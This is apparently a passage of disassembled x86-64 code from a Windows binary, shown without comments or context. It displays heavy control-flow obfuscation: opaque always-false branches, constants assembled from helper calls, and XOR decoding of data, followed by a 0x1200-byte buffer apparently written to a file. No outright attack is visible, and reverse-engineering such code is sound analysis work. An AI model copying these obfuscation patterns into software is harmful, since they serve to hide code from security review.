ucomisd xmm1, xmm0
jp 0x14001f1c7
jne 0x14001f1c7
mov eax, dword [rsp + 0x110]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x400]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x400], xmm0
jmp 0x14001f046
cvtsi2sd xmm0, dword [rsp + 0x110]
movsd xmm1, qword [rsp + 0x400]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1620], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1620]
ucomisd xmm1, xmm0
jp 0x14001f22f
jne 0x14001f22f
mov eax, dword [rsp + 0x110]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x400]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x400], xmm0
jmp 0x14001f245
xor eax, eax
test eax, eax
je 0x14001f241
jmp 0x14001f32c
jmp 0x14001f26e
cvtsi2sd xmm0, dword [rsp + 0x110]
movsd xmm1, qword [rsp + 0x400]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4dc], eax
jmp 0x14001f337
xor eax, eax
cmp eax, 1
je 0x14001f27b
jmp 0x14001f28a
jmp 0x14001f046
jmp 0x14001f046
xor eax, eax
cmp eax, 1
je 0x14001f32c
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1450], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1458], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1454], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1454]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1458]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x400]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4dc], eax
jmp 0x14001f337
mov dword [rsp + 0x4dc], 1
movsxd rax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x1f0]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x4d8]
movsxd rcx, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x1f0]
mov edi, dword [rsp + 0x4dc]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x1f0]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x145c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x145c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1460], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1460]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1464], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1464]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001f735
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083b0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x408], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1468], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1468]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1470], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x146c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x146c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1470]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14001f65f
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1474], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1474]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1478], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1478]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x147c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x147c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001f65f
mov dword [rsp + 0x114], 0
jmp 0x14001f521
cmp dword [rsp + 0x114], 4
jae 0x14001f65a
cvtsi2sd xmm0, dword [rsp + 0x114]
movsd xmm1, qword [rsp + 0x408]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1628], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1628]
ucomisd xmm1, xmm0
jp 0x14001f59c
jne 0x14001f59c
mov eax, dword [rsp + 0x114]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x408]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x408], xmm0
jmp 0x14001f41b
cvtsi2sd xmm0, dword [rsp + 0x114]
movsd xmm1, qword [rsp + 0x408]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1630], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1630]
ucomisd xmm1, xmm0
jp 0x14001f604
jne 0x14001f604
mov eax, dword [rsp + 0x114]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x408]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x408], xmm0
jmp 0x14001f61a
xor eax, eax
test eax, eax
je 0x14001f616
jmp 0x14001f701
jmp 0x14001f643
cvtsi2sd xmm0, dword [rsp + 0x114]
movsd xmm1, qword [rsp + 0x408]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4e0], eax
jmp 0x14001f70c
xor eax, eax
cmp eax, 1
je 0x14001f650
jmp 0x14001f65f
jmp 0x14001f41b
jmp 0x14001f41b
xor eax, eax
cmp eax, 1
je 0x14001f701
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1480], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1480]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1488], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1484], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1484]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1488]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x408]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4e0], eax
jmp 0x14001f70c
mov dword [rsp + 0x4e0], 1
movsxd rax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x1f0]
mov edx, dword [rsp + 0x4e0]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x1f0]
mov dword [rdx + rcx*4], eax
jmp 0x14001e12a
mov rax, qword [rsp + 0x6f8]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x6f8]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x148c], eax
mov eax, dword [rsp + 0x148c]
lea rcx, [0x140132d50]
mov qword [rsp + 0x1638], rcx
mov r8d, 0x1200
lea rdx, [0x14012e040]
lea rcx, [0x140134fd0]
mov rdi, qword [rsp + 0x1638]
call qword [rdi + rax*8]
mov r9, qword [rsp + 0x1508]
mov r8d, 0x1200
mov edx, 1
lea rcx, [0x14012e040]
call fcn.140083e20
mov rcx, qword [rsp + 0x1508]
call fcn.140083878
lea rax, [rsp + 0x19c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x19c]
call fcn.14002fff8
mov qword [rsp + 0x700], rax
mov rax, qword [rsp + 0x700]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x140020e29
mov rax, qword [rsp + 0x700]
mov qword [rsp + 0x238], rax
mov dword [rsp + 0x54], 0
jmp 0x14001f823
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
movsxd rax, dword [rsp + 0x54]
cmp rax, 1
jae 0x140020e29
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1490], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1490]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1494], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1494]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1498], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1498]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001fbeb
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083c0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x410], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x149c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x149c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14a4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x14a0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x14a0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x14a4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14001fb15
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x14a8], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x14a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14ac], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x14ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14b0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x14b0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001fb15
mov dword [rsp + 0x118], 0
jmp 0x14001f9d7
cmp dword [rsp + 0x118], 4
jae 0x14001fb10
cvtsi2sd xmm0, dword [rsp + 0x118]
movsd xmm1, qword [rsp + 0x410]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1640], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1640]
ucomisd xmm1, xmm0
jp 0x14001fa52
jne 0x14001fa52
mov eax, dword [rsp + 0x118]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x410]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x410], xmm0
jmp 0x14001f8d1
cvtsi2sd xmm0, dword [rsp + 0x118]
movsd xmm1, qword [rsp + 0x410]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1648], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1648]
ucomisd xmm1, xmm0
jp 0x14001faba
jne 0x14001faba
mov eax, dword [rsp + 0x118]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x410]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x410], xmm0
jmp 0x14001fad0
xor eax, eax
test eax, eax
je 0x14001facc
jmp 0x14001fbb7
jmp 0x14001faf9
cvtsi2sd xmm0, dword [rsp + 0x118]
movsd xmm1, qword [rsp + 0x410]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4e4], eax
jmp 0x14001fbc2
xor eax, eax
cmp eax, 1
je 0x14001fb06
jmp 0x14001fb15
jmp 0x14001f8d1
jmp 0x14001f8d1
xor eax, eax
cmp eax, 1
je 0x14001fbb7
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x14b4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x14b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14bc], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x14b8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x14b8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x14bc]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x410]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4e4], eax
jmp 0x14001fbc2
mov dword [rsp + 0x4e4], 1
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x238]
mov edx, dword [rsp + 0x4e4]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x14c0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x14c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14c8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0x14c4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x14c4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x14c8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140020a6a
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x14cc], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x14cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14d0], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x14d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14d4], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x14d4]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140020020
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083b8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x418], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x14d8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x14d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14e0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x14dc], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x14dc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x14e0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14001ff4a
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x14e4], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x14e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14e8], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x14e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14ec], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x14ec]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14001ff4a
mov dword [rsp + 0x11c], 0
jmp 0x14001fe0c
cmp dword [rsp + 0x11c], 4
jae 0x14001ff45
cvtsi2sd xmm0, dword [rsp + 0x11c]
movsd xmm1, qword [rsp + 0x418]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1650], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1650]
ucomisd xmm1, xmm0
jp 0x14001fe87
jne 0x14001fe87
mov eax, dword [rsp + 0x11c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x418]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x418], xmm0
jmp 0x14001fd06
cvtsi2sd xmm0, dword [rsp + 0x11c]
movsd xmm1, qword [rsp + 0x418]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1658], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1658]
ucomisd xmm1, xmm0
jp 0x14001feef
jne 0x14001feef
mov eax, dword [rsp + 0x11c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x418]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x418], xmm0
jmp 0x14001ff05
xor eax, eax
test eax, eax
je 0x14001ff01
jmp 0x14001ffec
jmp 0x14001ff2e
cvtsi2sd xmm0, dword [rsp + 0x11c]
movsd xmm1, qword [rsp + 0x418]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4e8], eax
jmp 0x14001fff7
xor eax, eax
cmp eax, 1
je 0x14001ff3b
jmp 0x14001ff4a
jmp 0x14001fd06
jmp 0x14001fd06
xor eax, eax
cmp eax, 1
je 0x14001ffec
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x14f0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x14f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x14f8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x14f4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x14f4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x14f8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x418]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4e8], eax
jmp 0x14001fff7
mov dword [rsp + 0x4e8], 1
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x238]
mov edx, dword [rsp + 0x4e8]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x14fc], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x14fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1510], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1510]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x780], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x780]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400203da
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083b0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x420], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x784], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x784]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x788], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x788]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x78c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140020304
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x790], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x790]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x794], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x794]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x798], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x798]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140020304
mov dword [rsp + 0x120], 0
jmp 0x1400201c6
cmp dword [rsp + 0x120], 4
jae 0x1400202ff
cvtsi2sd xmm0, dword [rsp + 0x120]
movsd xmm1, qword [rsp + 0x420]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1660], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1660]
ucomisd xmm1, xmm0
jp 0x140020241
jne 0x140020241
mov eax, dword [rsp + 0x120]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x420]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x420], xmm0
jmp 0x1400200c0
cvtsi2sd xmm0, dword [rsp + 0x120]
movsd xmm1, qword [rsp + 0x420]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1668], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1668]
ucomisd xmm1, xmm0
jp 0x1400202a9
jne 0x1400202a9
mov eax, dword [rsp + 0x120]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x420]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x420], xmm0
jmp 0x1400202bf
xor eax, eax
test eax, eax
je 0x1400202bb
jmp 0x1400203a6
jmp 0x1400202e8
cvtsi2sd xmm0, dword [rsp + 0x120]
movsd xmm1, qword [rsp + 0x420]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4ec], eax
jmp 0x1400203b1
xor eax, eax
cmp eax, 1
je 0x1400202f5
jmp 0x140020304
jmp 0x1400200c0
jmp 0x1400200c0
xor eax, eax
cmp eax, 1
je 0x1400203a6
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x79c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x79c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x7a0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x7a0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7a4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x420]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4ec], eax
jmp 0x1400203b1
mov dword [rsp + 0x4ec], 1
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x238]
mov edx, dword [rsp + 0x4ec]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x54]
sub eax, 0x7a
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x428], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x7a8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x7a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x7ac], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x7ac]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7b0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140020653
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x7b4], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x7b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b8], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x7b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7bc], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x7bc]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140020653
mov dword [rsp + 0x124], 0
jmp 0x140020515
cmp dword [rsp + 0x124], 4
jae 0x14002064e
cvtsi2sd xmm0, dword [rsp + 0x124]
movsd xmm1, qword [rsp + 0x428]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1670], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1670]
ucomisd xmm1, xmm0
jp 0x140020590
jne 0x140020590
mov eax, dword [rsp + 0x124]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x428]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x428], xmm0
jmp 0x14002040f
cvtsi2sd xmm0, dword [rsp + 0x124]
movsd xmm1, qword [rsp + 0x428]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1678], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1678]
ucomisd xmm1, xmm0
jp 0x1400205f8
jne 0x1400205f8
mov eax, dword [rsp + 0x124]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x428]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x428], xmm0
jmp 0x14002060e
xor eax, eax
test eax, eax
je 0x14002060a
jmp 0x1400206f5
jmp 0x140020637
cvtsi2sd xmm0, dword [rsp + 0x124]
movsd xmm1, qword [rsp + 0x428]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f0], eax
jmp 0x140020700
xor eax, eax
cmp eax, 1
je 0x140020644
jmp 0x140020653
jmp 0x14002040f
jmp 0x14002040f
xor eax, eax
cmp eax, 1
je 0x1400206f5
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x7c0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x7c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c8], eax
call fcn.14001b97c
movsx eax, al
